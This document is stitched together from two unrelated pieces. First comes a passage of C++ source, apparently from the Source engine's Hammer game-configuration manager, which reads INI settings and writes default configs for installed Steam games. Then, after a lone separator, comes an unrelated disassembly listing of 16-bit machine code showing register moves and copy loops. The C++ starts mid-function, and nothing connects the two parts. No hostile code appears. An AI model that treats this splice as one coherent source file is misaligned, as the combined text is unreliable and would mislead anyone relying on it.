Q_snprintf( szPath, sizeof( szPath ), "%s\\vrad.exe", GetBaseDirectory() );
hammerBlock->SetString( "Light", szPath );
// Get our insertion point
KeyValues *insertSpot = out->GetFirstTrueSubKey();
// Set this as the sub key if there's nothing already there
if ( insertSpot == NULL )
{
out->AddSubKey( newConfig );
}
else
{
// Find the last subkey
while ( insertSpot->GetNextTrueSubKey() )
{
insertSpot = insertSpot->GetNextTrueSubKey();
}
// Become a peer to it
insertSpot->SetNextKey( newConfig );
}
return true;
}
//-----------------------------------------------------------------------------
// Purpose: Determines whether the requested appID is installed on this computer
// Input : nAppID - ID to verify
// Output : Returns true if installed, false if not.
//-----------------------------------------------------------------------------
bool CGameConfigManager::IsAppSubscribed( int nAppID )
{
bool bIsSubscribed = false;
if ( steamapicontext && steamapicontext->SteamApps() )
{
// See if specified app is installed
bIsSubscribed = steamapicontext->SteamApps()->BIsSubscribedApp( nAppID );
}
else
{
// If we aren't running FileSystem Steam then we must be doing internal development. Give everything.
bIsSubscribed = true;
}
return bIsSubscribed;
}
//-----------------------------------------------------------------------------
// Purpose: Create default configurations for all Valve retail applications
//-----------------------------------------------------------------------------
bool CGameConfigManager::CreateAllDefaultConfigs( void )
{
bool bRetVal = true;
// Start our new block
KeyValues *configBlock = new KeyValues( "Configs" );
KeyValues *gameBlock = configBlock->CreateNewKey();
gameBlock->SetName( "Games" );
GetDefaultGameBlock( gameBlock );
bRetVal = !gameBlock->IsEmpty();
// Make a full path name
char szPath[MAX_PATH];
Q_snprintf( szPath, sizeof( szPath ), "%s\\%s", GetBaseDirectory(), GAME_CONFIG_FILENAME );
CUtlBuffer buffer;
configBlock->RecursiveSaveToFile( buffer, 0 );
SaveUtlBufferToFile( buffer, szPath );
configBlock->deleteThis();
m_LoadStatus = LOADSTATUS_CREATED;
return bRetVal;
}
//-----------------------------------------------------------------------------
// Purpose: Load game information from an INI file
//-----------------------------------------------------------------------------
bool CGameConfigManager::ConvertGameConfigsINI( void )
{
const char *iniFilePath = GetIniFilePath();
// Load our INI file
int nNumConfigs = GetPrivateProfileInt( "Configs", "NumConfigs", 0, iniFilePath );
if ( nNumConfigs <= 0 )
return false;
// Build a new keyvalue file
KeyValues *headBlock = new KeyValues( "Configs" );
// Create the block for games
KeyValues *gamesBlock = headBlock->CreateNewKey( );
gamesBlock->SetName( "Games" );
int i;
int nStrlen;
char szSectionName[MAX_PATH];
char textBuffer[MAX_PATH];
// Parse all the configs
for ( int nConfig = 0; nConfig < nNumConfigs; nConfig++ )
{
// Each came configuration is stored in a different section, named "GameConfig0..GameConfigN".
// If the "Name" key exists in this section, try to load the configuration from this section.
sprintf(szSectionName, "GameConfig%d", nConfig);
int nCount = GetPrivateProfileString(szSectionName, "Name", "", textBuffer, sizeof(textBuffer), iniFilePath);
if (nCount > 0)
{
// Make a new section
KeyValues *subGame = gamesBlock->CreateNewKey();
subGame->SetName( textBuffer );
GetPrivateProfileString( szSectionName, "ModDir", "", textBuffer, sizeof(textBuffer), iniFilePath);
// Add the mod dir
subGame->SetString( "GameDir", textBuffer );
// Start a block for Hammer settings
KeyValues *hammerBlock = subGame->CreateNewKey();
hammerBlock->SetName( "Hammer" );
i = 0;
// Get all FGDs
do
{
char szGameData[MAX_PATH];
sprintf( szGameData, "GameData%d", i );
nStrlen = GetPrivateProfileString( szSectionName, szGameData, "", textBuffer, sizeof(textBuffer), iniFilePath );
if ( nStrlen > 0 )
{
hammerBlock->SetString( szGameData, textBuffer );
i++;
}
} while ( nStrlen > 0 );
hammerBlock->SetInt( "TextureFormat", GetPrivateProfileInt( szSectionName, "TextureFormat", 5 /*FIXME: tfVMT*/, iniFilePath ) );
hammerBlock->SetInt( "MapFormat", GetPrivateProfileInt( szSectionName, "MapFormat", 4 /*FIXME: mfHalfLife2*/, iniFilePath ) );
// Default texture scale
GetPrivateProfileString( szSectionName, "DefaultTextureScale", "1", textBuffer, sizeof(textBuffer), iniFilePath );
float defaultTextureScale = (float) atof( textBuffer );
if ( defaultTextureScale == 0 )
{
defaultTextureScale = 1.0f;
}
hammerBlock->SetFloat( "DefaultTextureScale", defaultTextureScale );
hammerBlock->SetInt( "DefaultLightmapScale", GetPrivateProfileInt( szSectionName, "DefaultLightmapScale", 16 /*FIXME: DEFAULT_LIGHTMAP_SCALE*/, iniFilePath ) );
GetPrivateProfileString( szSectionName, "GameExe", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "GameExe", textBuffer );
GetPrivateProfileString( szSectionName, "DefaultSolidEntity", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "DefaultSolidEntity", textBuffer );
GetPrivateProfileString( szSectionName, "DefaultPointEntity", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "DefaultPointEntity", textBuffer );
GetPrivateProfileString( szSectionName, "BSP", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "BSP", textBuffer );
GetPrivateProfileString( szSectionName, "Vis", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "Vis", textBuffer );
GetPrivateProfileString( szSectionName, "Light", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "Light", textBuffer );
GetPrivateProfileString( szSectionName, "GameExeDir", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "GameExeDir", textBuffer );
GetPrivateProfileString( szSectionName, "MapDir", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "MapDir", textBuffer );
GetPrivateProfileString( szSectionName, "BSPDir", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "BSPDir", textBuffer );
GetPrivateProfileString( szSectionName, "CordonTexture", "", textBuffer, sizeof(textBuffer), iniFilePath );
hammerBlock->SetString( "CordonTexture", textBuffer );
GetPrivateProfileString( szSectionName, "MaterialExcludeCount", "0", textBuffer, sizeof(textBuffer), iniFilePath );
int materialExcludeCount = atoi( textBuffer );
hammerBlock->SetInt( "MaterialExcludeCount", materialExcludeCount );
char excludeDir[MAX_PATH];
// Write out all excluded directories
for( i = 0; i < materialExcludeCount; i++ )
{
sprintf( &excludeDir[0], "-MaterialExcludeDir%d", i );
GetPrivateProfileString( szSectionName, excludeDir, "", textBuffer, sizeof( textBuffer ), iniFilePath );
hammerBlock->SetString( excludeDir, textBuffer );
}
}
}
// Make a full path name
char szPath[MAX_PATH];
Q_snprintf( szPath, sizeof( szPath ), "%s\\%s", GetBaseDirectory(), GAME_CONFIG_FILENAME );
CUtlBuffer buffer;
headBlock->RecursiveSaveToFile( buffer, 0 );
SaveUtlBufferToFile( buffer, szPath );
// Rename the old INI file
char newFilePath[MAX_PATH];
Q_snprintf( newFilePath, sizeof( newFilePath ), "%s.OLD", iniFilePath );
rename( iniFilePath, newFilePath );
// Notify that we were converted
m_LoadStatus = LOADSTATUS_CONVERTED;
return true;
}
//-----------------------------------------------------------------------------
// Purpose: Write out a game configuration file
// Output : Returns true on success, false on failure.
//-----------------------------------------------------------------------------
bool CGameConfigManager::SaveConfigs( const char *baseDir )
{
if ( !IsLoaded() )
return false;
// Build our default directory
if ( baseDir != NULL && baseDir[0] != NULL )
{
SetBaseDirectory( baseDir );
}
// Make a full path name
char szPath[MAX_PATH];
Q_strncpy( szPath, GetBaseDirectory(), sizeof(szPath) );
Q_AppendSlash( szPath, sizeof(szPath) );
Q_strncat( szPath, GAME_CONFIG_FILENAME, sizeof( szPath ), COPY_ALL_CHARACTERS );
CUtlBuffer buffer;
m_pData->RecursiveSaveToFile( buffer, 0 );
return SaveUtlBufferToFile( buffer, szPath );
}
//-----------------------------------------------------------------------------
// Purpose: Find the directory our .exe is based out of
//-----------------------------------------------------------------------------
const char *CGameConfigManager::GetBaseDirectory( void )
{
return m_szBaseDirectory;
}
//-----------------------------------------------------------------------------
// Purpose: Find the root directory
//-----------------------------------------------------------------------------
const char *CGameConfigManager::GetRootDirectory( void )
{
static char path[MAX_PATH] = {0};
if ( path[0] == 0 )
{
Q_strncpy( path, GetBaseDirectory(), sizeof( path ) );
Q_StripLastDir( path, sizeof( path ) ); // Get rid of the 'bin' directory
Q_StripTrailingSlash( path );
}
return path;
}
//-----------------------------------------------------------------------------
// Purpose: Returns the game configuation block
//-----------------------------------------------------------------------------
KeyValues *CGameConfigManager::GetGameBlock( void )
{
if ( !IsLoaded() )
return NULL;
return ( m_pData->FindKey( TOKEN_GAMES, true ) );
}
//-----------------------------------------------------------------------------
// Purpose: Returns a piece of the game configuation block of the given name
// Input : *keyName - name of the block to return
//-----------------------------------------------------------------------------
KeyValues *CGameConfigManager::GetGameSubBlock( const char *keyName )
{
if ( !IsLoaded() )
return NULL;
KeyValues *pGameBlock = GetGameBlock();
if ( pGameBlock == NULL )
return NULL;
// Return the data
KeyValues *pSubBlock = pGameBlock->FindKey( keyName );
return pSubBlock;
}
//-----------------------------------------------------------------------------
// Purpose: Get the gamecfg.ini file for conversion
//-----------------------------------------------------------------------------
const char *CGameConfigManager::GetIniFilePath( void )
{
static char iniFilePath[MAX_PATH] = {0};
if ( iniFilePath[0] == 0 )
{
Q_strncpy( iniFilePath, GetBaseDirectory(), sizeof( iniFilePath ) );
Q_strncat( iniFilePath, "\\gamecfg.ini", sizeof( iniFilePath ), COPY_ALL_CHARACTERS );
}
return iniFilePath;
}
//-----------------------------------------------------------------------------
// Purpose: Deletes the current config and recreates it with default values
//-----------------------------------------------------------------------------
bool CGameConfigManager::ResetConfigs( const char *baseDir /*= NULL*/ )
{
// Build our default directory
if ( baseDir != NULL && baseDir[0] != NULL )
{
SetBaseDirectory( baseDir );
}
// Make a full path name
char szPath[MAX_PATH];
Q_snprintf( szPath, sizeof( szPath ), "%s\\%s", GetBaseDirectory(), GAME_CONFIG_FILENAME );
// Delete the file
if ( unlink( szPath ) )
return false;
// Load the file again (causes defaults to be created)
if ( LoadConfigsInternal( baseDir, false ) == false )
return false;
// Save it out
return SaveConfigs( baseDir );
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameConfigManager::SetBaseDirectory( const char *pDirectory )
{
// Clear it
if ( pDirectory == NULL || pDirectory[0] == '\0' )
{
m_szBaseDirectory[0] = '\0';
return;
}
// Copy it
Q_strncpy( m_szBaseDirectory, pDirectory, sizeof( m_szBaseDirectory ) );
Q_StripTrailingSlash( m_szBaseDirectory );
}
//-----------------------------------------------------------------------------
// Purpose: Create a block of keyvalues containing our default configurations
// Output : A block of keyvalues
//-----------------------------------------------------------------------------
bool CGameConfigManager::GetDefaultGameBlock( KeyValues *pIn )
{
CUtlVector<defaultConfigInfo_t> defaultConfigs;
// Add HL2 games to list
defaultConfigs.AddToTail( HL2DMInfo );
defaultConfigs.AddToTail( HL2Info );
defaultConfigs.AddToTail( Episode1Info );
defaultConfigs.AddToTail( Episode2Info );
defaultConfigs.AddToTail( PortalInfo );
defaultConfigs.AddToTail( SourceTestInfo );
// Add TF2 games to list
defaultConfigs.AddToTail( TF2Info );
defaultConfigs.AddToTail( DODInfo );
defaultConfigs.AddToTail( CStrikeInfo );
if ( pIn == NULL )
return false;
char szPath[MAX_PATH];
// Add all default configs
int nNumConfigs = defaultConfigs.Count();
for ( int i = 0; i < nNumConfigs; i++ )
{
// If it's installed, add it
if ( IsAppSubscribed( defaultConfigs[i].steamAppID ) )
{
GetRootGameDirectory( szPath, sizeof( szPath ), GetRootDirectory() );
AddDefaultConfig( defaultConfigs[i], pIn, GetRootDirectory(), szPath );
}
}
return true;
}
|
0x0000 (0x000000) 0x211A- f:00020 d: 282 | A = OR[282]
0x0001 (0x000002) 0x2719- f:00023 d: 281 | A = A - OR[281]
0x0002 (0x000004) 0x1458- f:00012 d: 88 | A = A + 88 (0x0058)
0x0003 (0x000006) 0x1482- f:00012 d: 130 | A = A + 130 (0x0082)
0x0004 (0x000008) 0x2913- f:00024 d: 275 | OR[275] = A
0x0005 (0x00000A) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0006 (0x00000C) 0x292B- f:00024 d: 299 | OR[299] = A
0x0007 (0x00000E) 0x2113- f:00020 d: 275 | A = OR[275]
0x0008 (0x000010) 0x292C- f:00024 d: 300 | OR[300] = A
0x0009 (0x000012) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000A (0x000014) 0x292D- f:00024 d: 301 | OR[301] = A
0x000B (0x000016) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000C (0x000018) 0x292E- f:00024 d: 302 | OR[302] = A
0x000D (0x00001A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000E (0x00001C) 0x292F- f:00024 d: 303 | OR[303] = A
0x000F (0x00001E) 0x111F- f:00010 d: 287 | A = 287 (0x011F)
0x0010 (0x000020) 0x2930- f:00024 d: 304 | OR[304] = A
0x0011 (0x000022) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x0012 (0x000024) 0x5800- f:00054 d: 0 | B = A
0x0013 (0x000026) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0014 (0x000028) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0015 (0x00002A) 0x87D1- f:00103 d: 465 | P = P + 465 (0x01E6), A # 0
0x0016 (0x00002C) 0x211F- f:00020 d: 287 | A = OR[287]
0x0017 (0x00002E) 0x1428- f:00012 d: 40 | A = A + 40 (0x0028)
0x0018 (0x000030) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x0019 (0x000032) 0x2920- f:00024 d: 288 | OR[288] = A
0x001A (0x000034) 0x211A- f:00020 d: 282 | A = OR[282]
0x001B (0x000036) 0x2719- f:00023 d: 281 | A = A - OR[281]
0x001C (0x000038) 0x2520- f:00022 d: 288 | A = A + OR[288]
0x001D (0x00003A) 0x291E- f:00024 d: 286 | OR[286] = A
0x001E (0x00003C) 0x211E- f:00020 d: 286 | A = OR[286]
0x001F (0x00003E) 0x1428- f:00012 d: 40 | A = A + 40 (0x0028)
0x0020 (0x000040) 0x2928- f:00024 d: 296 | OR[296] = A
0x0021 (0x000042) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0022 (0x000044) 0x2924- f:00024 d: 292 | OR[292] = A
0x0023 (0x000046) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0024 (0x000048) 0x2926- f:00024 d: 294 | OR[294] = A
0x0025 (0x00004A) 0x75D2- f:00072 d: 466 | R = P + 466 (0x01F7)
0x0026 (0x00004C) 0x2118- f:00020 d: 280 | A = OR[280]
0x0027 (0x00004E) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0028 (0x000050) 0x8402- f:00102 d: 2 | P = P + 2 (0x002A), A = 0
0x0029 (0x000052) 0x7042- f:00070 d: 66 | P = P + 66 (0x006B)
0x002A (0x000054) 0x1800-0x02B6 f:00014 d: 0 | A = 694 (0x02B6)
0x002C (0x000058) 0x2913- f:00024 d: 275 | OR[275] = A
0x002D (0x00005A) 0x2119- f:00020 d: 281 | A = OR[281]
0x002E (0x00005C) 0x1E00-0x2408 f:00017 d: 0 | A = A - 9224 (0x2408)
0x0030 (0x000060) 0x8004- f:00100 d: 4 | P = P + 4 (0x0034), C = 0
0x0031 (0x000062) 0x1800-0x02CF f:00014 d: 0 | A = 719 (0x02CF)
0x0033 (0x000066) 0x2913- f:00024 d: 275 | OR[275] = A
0x0034 (0x000068) 0x2119- f:00020 d: 281 | A = OR[281]
0x0035 (0x00006A) 0x1E00-0x2458 f:00017 d: 0 | A = A - 9304 (0x2458)
0x0037 (0x00006E) 0x8004- f:00100 d: 4 | P = P + 4 (0x003B), C = 0
0x0038 (0x000070) 0x1800-0x02E8 f:00014 d: 0 | A = 744 (0x02E8)
0x003A (0x000074) 0x2913- f:00024 d: 275 | OR[275] = A
0x003B (0x000076) 0x2003- f:00020 d: 3 | A = OR[3]
0x003C (0x000078) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x003D (0x00007A) 0x290D- f:00024 d: 269 | OR[269] = A
0x003E (0x00007C) 0x211E- f:00020 d: 286 | A = OR[286]
0x003F (0x00007E) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x0040 (0x000080) 0x290E- f:00024 d: 270 | OR[270] = A
0x0041 (0x000082) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0042 (0x000084) 0x290F- f:00024 d: 271 | OR[271] = A
0x0043 (0x000086) 0x7006- f:00070 d: 6 | P = P + 6 (0x0049)
0x0044 (0x000088) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0045 (0x00008A) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0046 (0x00008C) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x0047 (0x00008E) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0048 (0x000090) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x0049 (0x000092) 0x210F- f:00020 d: 271 | A = OR[271]
0x004A (0x000094) 0x8E06- f:00107 d: 6 | P = P - 6 (0x0044), A # 0
0x004B (0x000096) 0x7E03-0x029C f:00077 d: 3 | R = OR[3]+668 (0x029C)
0x004D (0x00009A) 0x75AA- f:00072 d: 426 | R = P + 426 (0x01F7)
0x004E (0x00009C) 0x2003- f:00020 d: 3 | A = OR[3]
0x004F (0x00009E) 0x1C00-0x030A f:00016 d: 0 | A = A + 778 (0x030A)
0x0051 (0x0000A2) 0x290D- f:00024 d: 269 | OR[269] = A
0x0052 (0x0000A4) 0x211E- f:00020 d: 286 | A = OR[286]
0x0053 (0x0000A6) 0x1424- f:00012 d: 36 | A = A + 36 (0x0024)
0x0054 (0x0000A8) 0x290E- f:00024 d: 270 | OR[270] = A
0x0055 (0x0000AA) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x0056 (0x0000AC) 0x290F- f:00024 d: 271 | OR[271] = A
0x0057 (0x0000AE) 0x7006- f:00070 d: 6 | P = P + 6 (0x005D)
0x0058 (0x0000B0) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0059 (0x0000B2) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x005A (0x0000B4) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x005B (0x0000B6) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x005C (0x0000B8) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x005D (0x0000BA) 0x210F- f:00020 d: 271 | A = OR[271]
0x005E (0x0000BC) 0x8E06- f:00107 d: 6 | P = P - 6 (0x0058), A # 0
0x005F (0x0000BE) 0x211E- f:00020 d: 286 | A = OR[286]
0x0060 (0x0000C0) 0x1424- f:00012 d: 36 | A = A + 36 (0x0024)
0x0061 (0x0000C2) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0062 (0x0000C4) 0x2913- f:00024 d: 275 | OR[275] = A
0x0063 (0x0000C6) 0x1800-0x2030 f:00014 d: 0 | A = 8240 (0x2030)
0x0065 (0x0000CA) 0x251D- f:00022 d: 285 | A = A + OR[285]
0x0066 (0x0000CC) 0x3913- f:00034 d: 275 | (OR[275]) = A
0x0067 (0x0000CE) 0x7E03-0x029C f:00077 d: 3 | R = OR[3]+668 (0x029C)
0x0069 (0x0000D2) 0x758E- f:00072 d: 398 | R = P + 398 (0x01F7)
0x006A (0x0000D4) 0x7004- f:00070 d: 4 | P = P + 4 (0x006E)
0x006B (0x0000D6) 0x1800-0xFFFF f:00014 d: 0 | A = 65535 (0xFFFF)
0x006D (0x0000DA) 0x291C- f:00024 d: 284 | OR[284] = A
0x006E (0x0000DC) 0x2119- f:00020 d: 281 | A = OR[281]
0x006F (0x0000DE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0071), A = 0
0x0070 (0x0000E0) 0x7014- f:00070 d: 20 | P = P + 20 (0x0084)
0x0071 (0x0000E2) 0x2003- f:00020 d: 3 | A = OR[3]
0x0072 (0x0000E4) 0x1C00-0x0301 f:00016 d: 0 | A = A + 769 (0x0301)
0x0074 (0x0000E8) 0x290D- f:00024 d: 269 | OR[269] = A
0x0075 (0x0000EA) 0x211E- f:00020 d: 286 | A = OR[286]
0x0076 (0x0000EC) 0x290E- f:00024 d: 270 | OR[270] = A
0x0077 (0x0000EE) 0x1009- f:00010 d: 9 | A = 9 (0x0009)
0x0078 (0x0000F0) 0x290F- f:00024 d: 271 | OR[271] = A
0x0079 (0x0000F2) 0x7006- f:00070 d: 6 | P = P + 6 (0x007F)
0x007A (0x0000F4) 0x310D- f:00030 d: 269 | A = (OR[269])
0x007B (0x0000F6) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x007C (0x0000F8) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x007D (0x0000FA) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x007E (0x0000FC) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x007F (0x0000FE) 0x210F- f:00020 d: 271 | A = OR[271]
0x0080 (0x000100) 0x8E06- f:00107 d: 6 | P = P - 6 (0x007A), A # 0
0x0081 (0x000102) 0x7E03-0x020B f:00077 d: 3 | R = OR[3]+523 (0x020B)
0x0083 (0x000106) 0x7163- f:00070 d: 355 | P = P + 355 (0x01E6)
0x0084 (0x000108) 0x102B- f:00010 d: 43 | A = 43 (0x002B)
0x0085 (0x00010A) 0x292B- f:00024 d: 299 | OR[299] = A
0x0086 (0x00010C) 0x1800-0x0142 f:00014 d: 0 | A = 322 (0x0142)
0x0088 (0x000110) 0x292C- f:00024 d: 300 | OR[300] = A
0x0089 (0x000112) 0x1121- f:00010 d: 289 | A = 289 (0x0121)
0x008A (0x000114) 0x292D- f:00024 d: 301 | OR[301] = A
0x008B (0x000116) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x008C (0x000118) 0x292E- f:00024 d: 302 | OR[302] = A
0x008D (0x00011A) 0x1125- f:00010 d: 293 | A = 293 (0x0125)
0x008E (0x00011C) 0x292F- f:00024 d: 303 | OR[303] = A
0x008F (0x00011E) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x0090 (0x000120) 0x5800- f:00054 d: 0 | B = A
0x0091 (0x000122) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0092 (0x000124) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0093 (0x000126) 0x211A- f:00020 d: 282 | A = OR[282]
0x0094 (0x000128) 0x2719- f:00023 d: 281 | A = A - OR[281]
0x0095 (0x00012A) 0x2925- f:00024 d: 293 | OR[293] = A
0x0096 (0x00012C) 0x2125- f:00020 d: 293 | A = OR[293]
0x0097 (0x00012E) 0x0802- f:00004 d: 2 | A = A > 2 (0x0002)
0x0098 (0x000130) 0x2925- f:00024 d: 293 | OR[293] = A
0x0099 (0x000132) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x009A (0x000134) 0x2913- f:00024 d: 275 | OR[275] = A
0x009B (0x000136) 0x2119- f:00020 d: 281 | A = OR[281]
0x009C (0x000138) 0x0802- f:00004 d: 2 | A = A > 2 (0x0002)
0x009D (0x00013A) 0x2914- f:00024 d: 276 | OR[276] = A
0x009E (0x00013C) 0x2113- f:00020 d: 275 | A = OR[275]
0x009F (0x00013E) 0x2521- f:00022 d: 289 | A = A + OR[289]
0x00A0 (0x000140) 0x2913- f:00024 d: 275 | OR[275] = A
0x00A1 (0x000142) 0x2114- f:00020 d: 276 | A = OR[276]
0x00A2 (0x000144) 0x2522- f:00022 d: 290 | A = A + OR[290]
0x00A3 (0x000146) 0x2914- f:00024 d: 276 | OR[276] = A
0x00A4 (0x000148) 0x8002- f:00100 d: 2 | P = P + 2 (0x00A6), C = 0
0x00A5 (0x00014A) 0x2D13- f:00026 d: 275 | OR[275] = OR[275] + 1
0x00A6 (0x00014C) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x00A7 (0x00014E) 0x292B- f:00024 d: 299 | OR[299] = A
0x00A8 (0x000150) 0x2113- f:00020 d: 275 | A = OR[275]
0x00A9 (0x000152) 0x292C- f:00024 d: 300 | OR[300] = A
0x00AA (0x000154) 0x2114- f:00020 d: 276 | A = OR[276]
0x00AB (0x000156) 0x292D- f:00024 d: 301 | OR[301] = A
0x00AC (0x000158) 0x2120- f:00020 d: 288 | A = OR[288]
0x00AD (0x00015A) 0x292E- f:00024 d: 302 | OR[302] = A
0x00AE (0x00015C) 0x2125- f:00020 d: 293 | A = OR[293]
0x00AF (0x00015E) 0x292F- f:00024 d: 303 | OR[303] = A
0x00B0 (0x000160) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00B1 (0x000162) 0x2930- f:00024 d: 304 | OR[304] = A
0x00B2 (0x000164) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x00B3 (0x000166) 0x5800- f:00054 d: 0 | B = A
0x00B4 (0x000168) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00B5 (0x00016A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00B6 (0x00016C) 0x2119- f:00020 d: 281 | A = OR[281]
0x00B7 (0x00016E) 0x1C00-0x0008 f:00016 d: 0 | A = A + 8 (0x0008)
0x00B9 (0x000172) 0x2908- f:00024 d: 264 | OR[264] = A
0x00BA (0x000174) 0x211A- f:00020 d: 282 | A = OR[282]
0x00BB (0x000176) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00BC (0x000178) 0x86CD- f:00103 d: 205 | P = P + 205 (0x0189), A # 0
0x00BD (0x00017A) 0x1005- f:00010 d: 5 | A = 5 (0x0005)
0x00BE (0x00017C) 0x292A- f:00024 d: 298 | OR[298] = A
0x00BF (0x00017E) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00C0 (0x000180) 0x2929- f:00024 d: 297 | OR[297] = A
0x00C1 (0x000182) 0x2126- f:00020 d: 294 | A = OR[294]
0x00C2 (0x000184) 0x1E00-0x000D f:00017 d: 0 | A = A - 13 (0x000D)
0x00C4 (0x000188) 0x842D- f:00102 d: 45 | P = P + 45 (0x00F1), A = 0
0x00C5 (0x00018A) 0x2126- f:00020 d: 294 | A = OR[294]
0x00C6 (0x00018C) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x00C7 (0x00018E) 0x2520- f:00022 d: 288 | A = A + OR[288]
0x00C8 (0x000190) 0x290D- f:00024 d: 269 | OR[269] = A
0x00C9 (0x000192) 0x310D- f:00030 d: 269 | A = (OR[269])
0x00CA (0x000194) 0x290D- f:00024 d: 269 | OR[269] = A
0x00CB (0x000196) 0x2126- f:00020 d: 294 | A = OR[294]
0x00CC (0x000198) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00CD (0x00019A) 0x2908- f:00024 d: 264 | OR[264] = A
0x00CE (0x00019C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00CF (0x00019E) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00D0 (0x0001A0) 0x8604- f:00103 d: 4 | P = P + 4 (0x00D4), A # 0
0x00D1 (0x0001A2) 0x210D- f:00020 d: 269 | A = OR[269]
0x00D2 (0x0001A4) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x00D3 (0x0001A6) 0x290D- f:00024 d: 269 | OR[269] = A
0x00D4 (0x0001A8) 0x210D- f:00020 d: 269 | A = OR[269]
0x00D5 (0x0001AA) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00D6 (0x0001AC) 0x2917- f:00024 d: 279 | OR[279] = A
0x00D7 (0x0001AE) 0x2117- f:00020 d: 279 | A = OR[279]
0x00D8 (0x0001B0) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00D9 (0x0001B2) 0x290D- f:00024 d: 269 | OR[269] = A
0x00DA (0x0001B4) 0x2126- f:00020 d: 294 | A = OR[294]
0x00DB (0x0001B6) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x00DC (0x0001B8) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x00DD (0x0001BA) 0x290E- f:00024 d: 270 | OR[270] = A
0x00DE (0x0001BC) 0x2126- f:00020 d: 294 | A = OR[294]
0x00DF (0x0001BE) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00E0 (0x0001C0) 0x2908- f:00024 d: 264 | OR[264] = A
0x00E1 (0x0001C2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00E2 (0x0001C4) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00E3 (0x0001C6) 0x8607- f:00103 d: 7 | P = P + 7 (0x00EA), A # 0
0x00E4 (0x0001C8) 0x310E- f:00030 d: 270 | A = (OR[270])
0x00E5 (0x0001CA) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x00E6 (0x0001CC) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x00E7 (0x0001CE) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x00E8 (0x0001D0) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x00E9 (0x0001D2) 0x7006- f:00070 d: 6 | P = P + 6 (0x00EF)
0x00EA (0x0001D4) 0x310E- f:00030 d: 270 | A = (OR[270])
0x00EB (0x0001D6) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x00ED (0x0001DA) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x00EE (0x0001DC) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x00EF (0x0001DE) 0x2D26- f:00026 d: 294 | OR[294] = OR[294] + 1
0x00F0 (0x0001E0) 0x722F- f:00071 d: 47 | P = P - 47 (0x00C1)
0x00F1 (0x0001E2) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x00F2 (0x0001E4) 0x2B26- f:00025 d: 294 | OR[294] = A + OR[294]
